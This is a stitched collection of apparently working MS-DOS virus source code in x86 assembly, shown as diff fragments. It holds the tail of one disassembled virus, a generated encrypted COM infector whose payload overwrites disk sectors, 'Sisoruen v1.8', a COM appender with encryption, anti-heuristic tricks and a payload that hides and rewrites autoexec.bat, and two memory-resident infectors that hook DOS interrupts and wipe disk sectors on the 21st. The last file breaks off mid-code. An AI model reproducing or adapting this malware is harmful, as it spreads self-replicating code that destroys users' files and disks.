;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
push bp
mov bp,sp
mov dx,[bp+4]
mov al,2
mov ah,3Dh ; '='
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov ds:data_10e,ax
jmp short $+2 ; delay for I/O
pop bp
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
mov bx,ds:data_10e
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
jmp short $+2 ; delay for I/O
retn
sub_9 endp
pop ss
adc al,5Ah ; 'Z'
jl $+7Bh ; Jump if <
jno $+7Eh ; Jump if not overflw
db 'kw*~yy*lsq*~y*ps~*sx*wowy|'
db 83h, 2Eh, 00h
data_2 dw 2F1h ; Data table (indexed access)
db 2Ah, 03h, 63h, 03h
data_3 dw 80h
db 58h, 58h, 00h
data_4 dw 100h
data_5 dw 29Ah
data_6 dw 4
data_7 db 0
data_8 db 0
db 17h, 14h, 13h
db 'XOa]*PVK]R++**cy'
db 7Fh, 7Ch, 2Ah, 7Dh, 83h
db '}~ow*rk}*loox*sxpom~on*'
db 81h
db 's~r*~ro.'
db 00h, 17h, 14h, 13h, 73h, 78h
db 6Dh, 7Fh
db '|klvo*nomk'
db 83h, 2Ah, 79h, 70h, 2Ah, 56h
db 'OZ\Y]c*;8::6*k*'
db 80h, 73h, 7Ch, 7Fh, 7Dh, 2Ah
db 73h, 78h, 80h, 6Fh, 78h, 7Eh
db 6Fh, 6Eh, 2Ah, 6Ch, 83h, 2Eh
db 00h, 17h, 14h, 13h
db 'ZMW<*sx*T'
db 7Fh
db 'xo*yp*;CC:8**Qyyn*v'
db 7Fh, 6Dh, 75h, 2Bh, 17h, 14h
db 2Eh
db 0
data_9 db 2Eh
db 2Eh
db 00h, 2Ah, 2Eh, 45h
db 58h, 45h, 00h
db 2Ah, 2Eh, 43h, 4Fh, 4Dh
db 0
seg_a ends
end start
+225
View File
@@ -0,0 +1,225 @@
;²±°ÝþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþÞ°±²
;²±°Ý Þ°±²
;²±°Ý METRiC BUTTLOAD of CODE GENERATOR Þ°±²
;²±°Ý Copyright(c) 1994 - MBC - Ver. 0.91b Þ°±²
;²±°Ý Þ°±²
;²±°ÝþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþÞ°±²
.MODEL TINY
.CODE
ORG 100H
ENTRY_POINT: DB 0E9H,0,0
DECRYPT:
MOV BP,(OFFSET HEAP - OFFSET STARTENCRYPT)/2
PATCH_STARTENCRYPT:
MOV bp,OFFSET STARTENCRYPT
DECRYPT_LOOP:
DB 81h,46h,0 ; ADD WORD PTR [bp], xxxx
DECRYPT_VALUE DW 0
inc bp
inc bp
DEC BP
JNZ DECRYPT_LOOP
STARTENCRYPT:
CALL NEXT
NEXT: POP BP
SUB BP,OFFSET NEXT
LEA SI,[BP+SAVE3]
MOV DI,100H
PUSH DI
MOVSW
MOVSB
MOV BYTE PTR [BP+NUMINFEC],17
MOV AH,1AH
LEA DX,[BP+NEWDTA]
INT 21H
LEA DX,[BP+COM_MASK]
MOV AH,4EH
MOV CX,7
FINDFIRSTNEXT:
INT 21H
JC DONE_INFECTIONS
MOV AL,0H
CALL OPEN
MOV AH,3FH
LEA DX,[BP+BUFFER]
MOV CX,1AH
INT 21H
MOV AH,3EH
INT 21H
CHECKCOM:
MOV AX,WORD PTR [BP+NEWDTA+35]
CMP AX,'DN'
JZ FIND_NEXT
MOV AX,WORD PTR [BP+NEWDTA+1AH]
CMP AX,1430
JB FIND_NEXT
CMP AX,65535-(ENDHEAP-DECRYPT)
JA FIND_NEXT
MOV BX,WORD PTR [BP+BUFFER+1]
ADD BX,HEAP-DECRYPT+3
CMP AX,BX
JE FIND_NEXT
JMP INFECT_COM
FIND_NEXT:
MOV AH,4FH
JMP SHORT FINDFIRSTNEXT
DONE_INFECTIONS:
JMP ACTIVATE
EXIT_VIRUS:
MOV AH,1AH
MOV DX,80H
INT 21H
RETN
SAVE3 DB 0CDH,20H,0
ACTIVATE:
;²±°ÝþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþÞ°±²
;²±°Ý LITTLE FRISKIES SMOKE 'EM ROUTINE! Þ°±²
;²±°ÝþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþÞ°±²
;
PROC BLISTER_LIPS
PUSH DX
MOV AL,DL
MOV CX,255
XOR DX,DX
INT 26H
ADD SP,2
POP DX
ENDP BLISTER_LIPS
JMP EXIT_VIRUS
INFECT_COM:
MOV CX,3
SUB AX,CX
LEA SI,[BP+OFFSET BUFFER]
LEA DI,[BP+OFFSET SAVE3]
MOVSW
MOVSB
MOV BYTE PTR [SI-3],0E9H
MOV WORD PTR [SI-2],AX
ADD AX,103H
PUSH AX
FINISHINFECTION:
PUSH CX
XOR CX,CX
CALL ATTRIBUTES
MOV AL,2
CALL OPEN
MOV AH,40H
LEA DX,[BP+BUFFER]
POP CX
INT 21H
MOV AX,4202H
XOR CX,CX
CWD ; XOR DX,DX
INT 21H
MOV AH,2CH
INT 21H
MOV [BP+DECRYPT_VALUE],DX
LEA DI,[BP+CODE_STORE]
MOV AX,5355H
STOSW
LEA SI,[BP+DECRYPT]
MOV CX,STARTENCRYPT-DECRYPT
PUSH SI
PUSH CX
REP MOVSB
XOR BYTE PTR [BP+DECRYPT_LOOP+1],028h ; flip between add/sub
LEA SI,[BP+WRITE]
MOV CX,ENDWRITE-WRITE
REP MOVSB
POP CX
POP SI
POP DX
PUSH DI
PUSH SI
PUSH CX
REP MOVSB
MOV AX,5B5DH
STOSW
MOV AL,0C3H
STOSB
ADD DX,OFFSET STARTENCRYPT - OFFSET DECRYPT
MOV WORD PTR [BP+PATCH_STARTENCRYPT+1],DX
CALL CODE_STORE
POP CX
POP DI
POP SI
REP MOVSB
MOV AX,5701H
MOV CX,WORD PTR [BP+NEWDTA+16H]
MOV DX,WORD PTR [BP+NEWDTA+18H]
INT 21H
MOV AH,3EH
INT 21H
MOV CH,0
MOV CL,BYTE PTR [BP+NEWDTA+15h]
CALL ATTRIBUTES
DEC BYTE PTR [BP+NUMINFEC]
JNZ MO_INFECTIONS
JMP DONE_INFECTIONS
MO_INFECTIONS: JMP FIND_NEXT
OPEN:
MOV AH,3DH
LEA DX,[BP+NEWDTA+30]
INT 21H
XCHG AX,BX
RET
ATTRIBUTES:
MOV AX,4301H
LEA DX,[BP+NEWDTA+30]
INT 21H
RET
WRITE:
POP BX
POP BP
MOV AH,40H
LEA DX,[BP+DECRYPT]
MOV CX,HEAP-DECRYPT
INT 21H
PUSH BX
PUSH BP
ENDWRITE:
COM_MASK DB '*.?OM',0
MACHINE DB '-=MBC=-',0
VIRUSNAME DB 'SIMS VIRUS-1',0
USER DB 'White Shark',0
HEAP:
CODE_STORE: DB (STARTENCRYPT-DECRYPT)*2+(ENDWRITE-WRITE)+1 DUP (?)
NEWDTA DB 43 DUP (?)
NUMINFEC DB ?
BUFFER DB 1AH DUP (?)
ENDHEAP:
END ENTRY_POINT
@@ -0,0 +1,281 @@
; ------------------------------------------------------------------------- ;
; Sisoruen v1.8 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `--------------------------------------| Size : 484 bytes ;
; | Type : COM Appender ;
; v1.0 - start with a simple *.com appender | Rate : All to Root ;
; v1.1 - lets do some XOR,NEG,NOT,ROR encryption! | DT : DotDot Style ;
; v1.2 - infect even read only files, restore stamps | Pload: autoexec.bat ;
; v1.3 - add anti-heuristic loop (credits to SPo0ky!) | Encrp: 4 times - ;
; v1.4 - don't infect files too small, or too big | XOR,NEG,NOT,ROR ;
; v1.5 - lets give it a payload, activate sat/sun `-------------------- ;
; v1.6 - optimized a WHOLE lot, and fixed an error that was bugging the ;
; - crap out of me -> Thanks to SPo0ky for pointing out that my 'safe' ;
; - place to store the DTA was getting destroyed by the encryption :) ;
; v1.7 - lets get some directory transversal going, dot dot style ;
; v1.8 - new payload this time, after it has infected all the .com's it can ;
; - get it's hands on, it jumps to c:\ and replaces the first line of ;
; - the "autoexec.bat" file, changing the normal dos prompt (c:\) to ;
; - c:\::Sisoruen::> !warning! -> it replaces the first line, so be ;
; - carefull, some people have important info on that first line hehe ;
; - Oh and it also makes the autoexec.bat read-only and hidden! :) ;
; - Hey, some people don't know how to un-readonly / un-hide a file... ;
; - Slows them down a little hehe ;
; ------------------------------------------------------------------------- ;
; --> This One's For :Mind Warp: Keep Up The Great Work, You Learn Fast! <--;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm sisoruen.asm ;
; to link :::::] tlink /t sisoruen.asm ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment code
assume cs:code,ds:code ; assign cs and ds to code
org 100h ; 100hex .com file
start:
db 0e9h,0,0 ; define a blank jump to next line
real_start:
mov cx,0ffffh ; from other anti-heuristics
anti_one:
jmp anti_two ; jump to anti two
mov ax,4c00h ; terminate program
int 21h ; terminate the program
anti_two:
loop anti_one ; loop anti_one
call get_delta ; push IP on to stack
get_delta:
pop bp ; pop it into bp
sub bp,offset get_delta ; get the delta offset
encrypt:
jmp not_on_first ; don't encrypt 1st run (overwritten)
lea si,[bp+encrypted] ; SI points to encrypted area start
mov di,si ; moves SI into DI
call encryption ; calls the encryption routine
jmp encrypted ; jump to start of encrypted area
encryption:
lodsb ; load a byte
not al ; encryptin 1
ror al,4 ; encryptin 2
neg al ; encryptin 3
xor al,byte ptr [bp+decrypt] ; encryptin 4 -final-
neg al ; unencrypt 3
ror al,4 ; unencrypt 2
not al ; unencrypt 1
stosb ; store the byte
loop encryption ; do it for all bytes
ret ; return from the call
decrypt db 0 ; our key value
encrypted:
lea si,[bp+thrbyte] ; where to put this
mov di,100h ; the starting location
push di ; 1 - push 100h until end
movsb ; move a byte
movsw ; and move a word
lea dx,[bp+offset dta] ; where we want to move the dta
mov ah,1ah ; move the dta
int 21h ; make it so DOS!
find_next:
mov ah,4eh ; find the first file with
lea dx,[bp+comfile] ; a *.com ending
mov cx,7 ; find even if +srh
infect_next:
int 21h ; make it so DOS!
jnc infect_file ; found one? infect it!
mov ah,3bh ; change directory
lea dx,[bp+dotdot] ; load up ".."
int 21h ; and change dir now
jnc find_next ; start infecting again
try_pay:
mov ah,2ah ; get system time
int 21h ; get the time now
cmp al,006h ; is it saturday?
je payload ; it is! I love the weekends
cmp al,00h ; is it sunday?
je payload ; it is! I love payloading weekends
end_virus:
mov dx,80h ; restore the dta
mov ah,1ah ; restore it now
int 21h ; make it so DOS!
retn ; 1 - return control to host
payload:
mov ah,0eh ; change drive
mov dl,2 ; to drive c:\
int 21h ; change it now!
mov ah,3bh ; change directory
lea dx,[bp+rootdir] ; load up "\"
int 21h ; and change dir now
mov ah,4eh ; find the first file
lea dx,[bp+autoexe] ; looking for "autoexec.bat" :)
mov cx,3 ; find it even if +rh
int 21h ; find the autoexec.bat!
jc end_virus ; none? end the virus
lea dx,[bp+offset dta+1eh] ; get the file info
push dx ; 7 - save that info for later
mov ax,4301h ; set file attributes
xor cx,cx ; to absolutely none
int 21h ; make it so DOS!
mov ax,3d02h ; open the autoexec.bat
int 21h ; open it / get info
xchg bx,ax ; exchange the info
call point_to_start ; point to start of file
mov ah,40h ; write to the autoexec.bat
lea dx,[bp+newprmt] ; write this
mov cx,cpend-cpstart ; this much
int 21h ; write it!
pop dx ; 7 - get the file info
mov ax,4301h ; set file attributes
mov cx,3 ; make it read only / hidden hehe
int 21h ; infect even read only now!
mov ah,3eh ; close the autoexec.bat
int 21h ; close it now bitch!
jmp end_virus ; jump to ending the virus
infect_file:
lea dx,[bp+offset dta+1eh] ; get the file info
push dx ; 2 - save it again for in a minute
mov ax,4301h ; set file attributes
xor cx,cx ; to absolutely none
int 21h ; infect even read only now!
mov ax,3d02h ; open the file read/write
pop dx ; 2 - use that info again!
int 21h ; make it so DOS!
xchg bx,ax ; move the file info
mov ax,5700h ; get the time / date
int 21h ; make it so DOS!
push dx ; 3 - save the value
push cx ; 4 - save this value too
mov ah,3fh ; read / record function
lea dx,[bp+thrbyte] ; where to write to
mov cx,3 ; how much to write
int 21h ; make it so DOS!
mov ax,word ptr [bp+dta+1ah] ; get the file size into ax
mov cx,word ptr [bp+thrbyte+1] ; get those recorded bytes
add cx,finished-real_start+3 ; get virus + jump size
cmp ax,cx ; compare the two
jz close_file ; if equal close up
cmp ax,61440 ; > then 61440 bytes?
ja close_file ; too big, close it
cmp ax,1000 ; < then 1000 bytes?
jb close_file ; too big, close it
sub ax,3 ; get the jump size
mov word ptr [bp+newjump+1],ax ; and write the jump
call point_to_start ; point to start of file
mov ah,40h ; write to file
mov cx,3 ; how much info? three bytes
lea dx,[bp+newjump] ; where the info starts
int 21h ; make it so DOS!
mov ax,4202h ; point to end of file
xor cx,cx ; cx to 0
cwd ; likewize for DX
int 21h ; make it so DOS
in al,40h ; get random value from clock
mov byte ptr [bp+decrypt],al ; save that value as our key
mov ah,40h ; write to file
lea dx,[bp+real_start] ; this is where we start
mov cx,encrypted-real_start ; write this much
int 21h ; write those bytes man!
lea di,[bp+finished] ; DI points to encrypted area end
push di ; 5 - save value for later
lea si,[bp+encrypted] ; SI points to encrypted area star
mov cx,finished-encrypted ; total # of bytes to encrypt
push cx ; 6 - save that for next routine
call encryption ; encrypt them now
mov ah,40h ; write to file
pop cx ; 6 - mov cx,finished-encrypted
pop dx ; 5 - lea dx,[bp+finished]
int 21h ; make it so DOS!
close_file:
mov ax,5701h ; restore time / date
pop cx ; 4 - restore from this value
pop dx ; 3 - restore from this one too
int 21h ; go for it!
mov ah,3eh ; close up the file
int 21h ; make it so DOS!
mov ah,4fh ; find next file
jmp infect_next ; and do it again
; ------------------------> Remote Calling Procedures <-------------------- ;
; ------------------------------------------------------------------------- ;
point_to_start:
mov ax,4200h ; point to start of file
xor cx,cx ; cx to 0
cwd ; likewize for DX
int 21h ; and point to the start
ret ; return from call
; -------------------------------> Data Area <----------------------------- ;
; ------------------------------------------------------------------------- ;
cpstart:
newprmt db 'prompt $p$f::Sisoruen::$g',0
db '',10,13,'$'
cpend:
dotdot db "..",0 ; define the .. string
rootdir db "\",0 ; define the \ string
autoexe db "autoexec.b*",0 ; look for autoexec.bat
comfile db "*.c*",0 ; define *.com string
thrbyte db 0cdh,20h,0 ; terminates on first run
newjump db 0e9h,0,0 ; a blank jump at first
dta db 42 dup (?) ; set up space for dta
finished label near ; an offset label
; ----------> Temporary Storage Area (Not Saved / Not Encrypted) <--------- ;
; ------------------------------------------------------------------------- ;
not_on_first:
lea di,[bp+encrypt] ; load DI with start address
lea si,[bp+newbytes] ; load SI with the new bytes
movsw ; move 2 bytes
movsb ; move 1 byte
jmp encrypted ; jump to start of encrypted area
newbytes:
mov cx,finished-encrypted ; overwrite the jmp with this line
; ---------------------------> It's All Over <----------------------------- ;
; ------------------------------------------------------------------------- ;
code ends ; end code segment
end start ; end / where to start
; ------------------------------------------------------------------------- ;
; ----------> How Can You Think Freely In The Shadow Of A Church <--------- ;
; ------------------------------------------------------------------------- ;
+428
View File
@@ -0,0 +1,428 @@
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
mov ax,0
mov ds,ax
mov word ptr [312h],si
push cs
pop ds
push cs
pop es
cld
mov di,100h
mov cx,5
rep movsb
jmp ding2
int20h: mov ah,00h
jmp mm
int21h: STI
cmp ah,00h
jz mm
cmp ah,4ch
jz mm
cmp ah,0ffh
jz mm
jmp int1hh
mm: pushf
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
mov ax,0
mov ds,ax
cmp byte ptr [302h],0
jz mm2
mov byte ptr [302h],0
jmp main
mm2: mov ah,19h
int 21h
mov dl,al
cmp dl,01
jna mmm5
add dl,7Eh
mov ax,0
mov ds,ax
mmm5: mov byte ptr [309h],dl
mov byte ptr ch,[308h]
mov byte ptr dl,[309h]
mov cl,01
push cs
pop ds
mov ax,0201h
mov dh,00h
mov bx,offset end+7
push cs
pop es
int 13h
mov ax,0
mov ds,ax
mov byte ptr ch,[308h]
mov byte ptr dl,[309h]
mov cl,01
push cs
pop ds
mov ax,0301h
mov dh,00h
mov bx,offset end+7
push cs
pop es
int 13h
jnc etk6
cmp ah,3
jnz etk6
jmp main
etk6: mov ax,0
mov ds,ax
mov byte ptr [306h],1
push cs
pop ds
mov ah,2ah
int 21h
cmp dl,21
jnz okef
mov ax,0309h
mov dx,0000h
mov cx,0001h
lea bx,[100h]
int 13h
jmp short okep
okef: mov ax,0
mov ds,ax
inc word ptr [310h]
cmp Word ptr [310h],02FFh
jnz et3
okep: push cs
pop ds
mov ah,9
mov dx,offset name
int 21h
cli
hlt
dinge: jmp ding
et3: push cs ;ds <- cs
pop ds
mov ah,2fh ;Dos service function ah=2FH (get DTA)
int 21h ;ES:BX Addres of current DTA
mov [edta],ES
mov [bdta],BX
mov ah,1ah ;Dos service function ah=1AH (set DTA)
mov dx,offset end+7 ;DS:DX Addres of DTA
int 21h
push cs
pop ds
MOV AH,4eH
MOV DX,offset files
mov cx,00
INT 21H ;Dos service function ah=4EH (FIND FIRST)
jc dinge ;CX File attribute
;DS:DX Pointer of filespec (ASCIIZ string)
vir: mov ax,3d02h
push cs
pop ds
mov dx,offset end+7 ;DS:DX Addres of DTA
add dx,1EH
int 21h ;Dos service function ah=3DH (OPEN FILE)
;AL Open mode
;DS:DX Pointer to filename (ASCIIZ string)
;Return AX file handle
mov [handle],ax
mov ah,'C'
mov al,'D'
PUSH DX
POP BX
cmp [bx],ah ;Compare filename for 'COMMAND.COM'
jnz p1 ;If not first char 'C' then push virus in file
cmp [bx+6],al
jz v ;If 7 char 'D' then find next file
p1: mov bx,handle
push cs
pop ds
mov ah,3fh
mov dx,offset end
mov cx,5
int 21h ;Dos service function ah=3FH (READ FILE)
;BX File handle
;CX Number of bytes to read
;DS:DX Addres of buffer
push cs
pop es ;ES <- CS
cld
PUSH DX
POP SI
mov di,offset okey
mov cx,5
rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI
; SI=SI+1
; DI=DI+1
mov ax,534bh
mov di,dx
add di,3
cmp [di],ah
jnz fuck
inc di
cmp [di],al
jnz fuck
v: push cs
pop ds
mov bx,handle
mov ah,3eh
int 21h
push cs
pop ds
mov ah,4fh
int 21h
jc enzi
jmp short vir
enzi: jmp ding
fuck: mov ax,offset end+7
add ax,1aH
mov di,ax
Mov Word Ptr cx,[di]
mov ax,offset end
mov di,ax
mov al,0e9h
cmp cx,1a0h
jna v
add cx,2
mov [di],al
inc di
mov Word Ptr [di],cx
mov ax,534bh
add di,2
mov [di],ah
inc di
mov [di],al
mov bx,[handle] ;
mov ax,4200h
xor cx,cx
xor dx,dx
push cs
pop ds
int 21h
mov bx,handle
mov ah,40h
mov dx,offset end
mov cx,5
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
push cs
pop ds
mov bx,handle
mov ah,40h
mov dx,offset okey
mov cx,end-okey
int 21h
mov bx,handle
mov ah,3eh
int 21h
mov ax,0000
mov ds,ax
inc Word ptr [0310h]
ding: push cs
pop ds
mov ah,1ah
mov ds,[edta]
mov dx,[bdta]
int 21h
mov ax,0
mov ds,ax
mov byte ptr [306h],0
main: PUSH CS
POP DS
POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
popf
int1hh nop
int1h: db (0eah)
is: dw 0
io: dw 0
int13h: cli
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
push ax
mov ax,0
mov ds,ax
pop ax
mov byte ptr [308h],ch
mov byte ptr [309h],dl
push cs
pop ds
push ax
push ds
cmp ah,03
jz etk2
cmp ah,05
jnz etk3
etk2: mov ax,0000
mov ds,ax
inc Word ptr [310h]
cmp Word ptr [310h],02FEh
jnz etk3
push cs
pop ds
STI
int 20h
etk3: pop ds
pop ax
STI
int 65h
pushf
push ax
mov ax,0
mov ds,ax
cmp byte ptr [306h],0
pop ax
jz etk4
popf
clc
mov ax,0
jmp short etk5
etk4: popf
etk5: POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
db (0CAH)
db (02)
db (00)
name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$'
for1: jmp ding1
files: db '*.com',0
ding2: mov ax,0000h
mov ds,ax
MOV BX,300H
MOV CX,4b53h
cmp [bx],cx
jz for1
mov [bx],cx
mov ah,62h
int 21h
mov ds,bx
mov bx,[2ch]
dec bx
mov dx,0FFFFh
loc_1: mov ds,bx
mov di,[3]
inc di
add dx,di
add bx,di
cmp byte ptr [0000],5Ah
jne loc_1
mov cx,es
add cx,dx
sub word ptr [3],80h
sub cx,80h
sub cx,10h
mov es,cx
mov di,100h
cld
mov ax,0000h
mov ds,ax
mov bx,[004ch]
mov [0194h],bx
mov cx,[004eh]
mov [0196h],cx
mov ax,0
mov ds,ax
lenf equ word ptr ds:[312h]
mov ax,0000h
mov ds,ax
mov bx,[0084h]
mov cx,[0086h]
mov ax,0
mov ds,ax
mov di,is-okey
add di,lenf
push cs
pop ds
mov [di],bx
mov [di+2],cx
mov ax,0
mov ds,ax
mov si,[312h]
sub si,7
push cs
pop ds
mov di,100h
mov cx,800h
rep movsb
mov ax,0000
mov ds,ax
cli
mov WORD PTR [0086h],ES
mov WORD PTR [004eh],ES
mov word ptr [0082h],es
mov di,int20h-okey
add di,107h
mov WORD PTR [0080h],di
mov di,int13h-okey
add di,107h
mov WORD PTR [004ch],di
mov di,int21h-okey
add di,107h
mov WORD PTR [0084h],di
sti
Ding1: mov ax,0
mov ds,ax
mov byte ptr [306h],1
mov byte ptr [302h],0
mov ah,19h
int 21h
mov dl,al
cmp dl,01
jna mmm
add dl,7Eh
mov ax,0
mov ds,ax
mmm: mov byte ptr [309h],dl
push cs
pop ds
mov ah,0ffh
int 21h
for: mov ax,0
mov ds,ax
mov byte ptr [306h],0
mov byte ptr [302h],1
PUSH CS
POP DS
pop cx
mov si,100h
jmp si
handle: dw ?
edta: dw ?
bdta: dw ?
com: db 'COMMAND'
end: db (00)
+412
View File
@@ -0,0 +1,412 @@
start: jmp short begin
db (00h)
db (53h)
db (4bh)
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx
CALL F1
F1: POP SI
SUB SI,09
push cs
pop ds
push cs
pop es
MOV WORD PTR [LenF],SI
cld
mov di,100h
mov cx,5
rep movsb
jmp ding1
int21h: STI
cmp ah,00
jz int20h
cmp ah,4ch
jz int20h
et1: db (0eah)
is: dw 0
io: dw 0
;int13h: sti
; PUSH BX
; PUSH CX
; PUSH DX
; PUSH DS
; PUSH ES
; PUSH SI
; PUSH DI
; push ax
; push ds
; cmp ah,03
; jz etk2
; cmp ah,05
; jnz etk3
;etk2: mov ax,0000
; mov ds,ax
; inc Word ptr [310h]
; cmp Word ptr [310h],0FFEh
; jnz etk3
; push cs
; pop ds
; int 20h
;etk3: pop ds
; pop ax
; int 65h
; cld
; mov ax,0
; POP DI
; POP SI
; POP ES
; POP DS
; POP DX
; POP CX
; POP BX
; iret
int20h: STI
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
mov ah,2ah
int 21h
cmp dl,21
jnz okef
mov ax,0309h
mov dx,0000h
mov cx,0001h
lea bx,[100h]
int 13h
jmp short okep
okef: mov ax,0
mov ds,ax
inc word ptr [310h]
cmp Word ptr [310h],0FFFh
jnz oke
okep: push cs
pop ds
mov ah,9
mov di,name-okey
add di,107h
mov dx,di
int 21h
cli
hlt
oke: mov ax,0
mov ds,ax
cmp byte ptr [302h],0
jz et3
mov byte ptr [302h],0
jmp main
dinge: jmp ding
et3: push cs ;ds <- cs
pop ds
mov ah,2fh ;Dos service function ah=2FH (get DTA)
int 21h ;ES:BX Addres of current DTA
mov di,edta-okey
add di,107h
mov [di],ES
mov [di+2],BX
mov ah,1ah ;Dos service function ah=1AH (set DTA)
PUSH CS
POP DS
mov dx,dta-okey ;DS:DX Addres of DTA
add dx,107h
int 21h
push cs
pop ds
MOV AH,4eH
MOV DX,files-okey
ADD dx,107h
mov cx,00
INT 21H ;Dos service function ah=4EH (FIND FIRST)
jc dinge ;CX File attribute
;DS:DX Pointer of filespec (ASCIIZ string)
vir: mov ax,3d02h
push cs
pop ds
mov dx,dta-okey ;DS:DX Addres of DTA
add dx,107h
add dx,1EH
int 21h ;Dos service function ah=3DH (OPEN FILE)
;AL Open mode
;DS:DX Pointer to filename (ASCIIZ string)
;Return AX file handle
mov di,handle-okey
add di,107h
mov [di],ax
mov ah,'C'
mov al,'D'
PUSH DX
POP BX
cmp [bx],ah ;Compare filename for 'COMMAND.COM'
jnz p1 ;If not first char 'C' then push virus in file
cmp [bx+6],al
jz v ;If 7 char 'D' then find next file
p1: mov di,handle-okey
add di,107h
mov bx,[di]
push cs
pop ds
mov ah,3fh
mov dx,end-okey
add dx,107h
mov cx,5
int 21h ;Dos service function ah=3FH (READ FILE)
;BX File handle
;CX Number of bytes to read
;DS:DX Addres of buffer
push cs
pop es ;ES <- CS
cld
PUSH DX
POP SI
mov di,107h
mov cx,5
rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI
; SI=SI+1
; DI=DI+1
mov ax,534bh
mov di,dx
add di,3
cmp [di],ah
jnz fuck
inc di
cmp [di],al
jnz fuck
v: push cs
pop ds
mov di,handle-okey
add di,107h
mov bx,[di]
mov ah,3eh
int 21h
push cs
pop ds
mov ah,4fh
int 21h
jc enzi
jmp short vir
enzi: jmp ding
fuck: mov ax,dta-okey
add ax,107h
add ax,1aH
mov di,ax
Mov Word Ptr cx,[di]
mov ax,end-okey
add ax,107h
mov di,ax
mov al,0e9h
cmp cx,0feh
jna v
add cx,2
mov [di],al
inc di
mov Word Ptr [di],cx
mov ax,534bh
add di,2
mov [di],ah
inc di
mov [di],al
mov di,handle-okey
add di,107h
mov bx,[di]
mov ax,4200h
xor cx,cx
xor dx,dx
push cs
pop ds
int 21h
mov di,handle-okey
add di,107h
mov bx,[di]
mov ah,40h
mov dx,end-okey
add dx,107h
mov cx,5
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
push cs
pop ds
mov di,handle-okey
add di,107h
mov bx,[di]
mov ah,40h
mov dx,107h
mov cx,end-okey
int 21h
mov ah,3eh
int 21h
mov ax,0000
mov ds,ax
inc Word ptr [0310h]
push cs
pop ds
ding: mov ah,1ah
mov di,edta-okey
add di,107h
mov ds,[di]
mov dx,[di+2]
int 21h
main: PUSH CS
POP DS
POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
int1h: DB (0EAH)
INTSH: DW (0)
INTOH: DW (0)
name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$'
for1: jmp for
files: db '*.com',0
Ding1: mov ax,0000h
mov ds,ax
mov byte ptr [302h],1
cmp word ptr [300h],4B53h
jz for1
mov word ptr [300h],4B53h
mov ah,62h
int 21h
mov ds,bx
mov bx,[2ch]
dec bx
mov dx,0FFFFh
loc_1: mov ds,bx
mov di,[3]
inc di
add dx,di
add bx,di
cmp byte ptr [0000],5Ah
jne loc_1
mov cx,es
add cx,dx
sub word ptr [3],80h
sub cx,80h
sub cx,10h
mov es,cx
mov di,100h
cld
PUSH DI
mov ax,0000h
mov ds,ax
; mov bx,[004ch]
; mov [0194h],bx
; mov cx,[004eh]
; mov [0196h],cx
mov bx,[0080h]
mov cx,[0082h]
PUSH CS
POP DS
mov di,intsh-okey
add di,[lenf]
mov [di],bx
mov [di+2],cx
mov ax,0000h
mov ds,ax
mov bx,[0084h]
mov cx,[0086h]
PUSH CS
POP DS
mov di,is-okey
add di,[lenf]
mov [di],bx
mov [di+2],cx
push cs
pop ds
POP DI
mov si,[lenf]
sub si,7
mov cx,800h
push cs
pop ds
rep movsb
mov ax,0000
mov ds,ax
mov WORD PTR [0082h],es
mov WORD PTR [0086h],es
; mov WORD PTR [004eh],es
; mov di,int13h-okey
; add di,107h
; mov WORD PTR [004ch],di
mov di,int20h-okey
add di,107h
mov WORD PTR [0080h],di
mov di,int21h-okey
add di,107h
mov WORD PTR [0084h],di
jmp ding3
for: mov ax,0
mov ds,ax
mov bx,[80h]
mov cx,[82h]
push cx
pop ds
push cx
mov di,intsh-okey
add di,107h
mov bx,[di]
mov cx,[di+2]
push cs
pop ds
mov di,v20h1-okey
add di,[lenf]
mov [di],bx
mov [di+2],cx
mov ax,0000h
mov ds,ax
mov Byte ptr [302h],0
pop ds
mov di,INTSH-okey
add di,107h
mov bx,ding2-okey
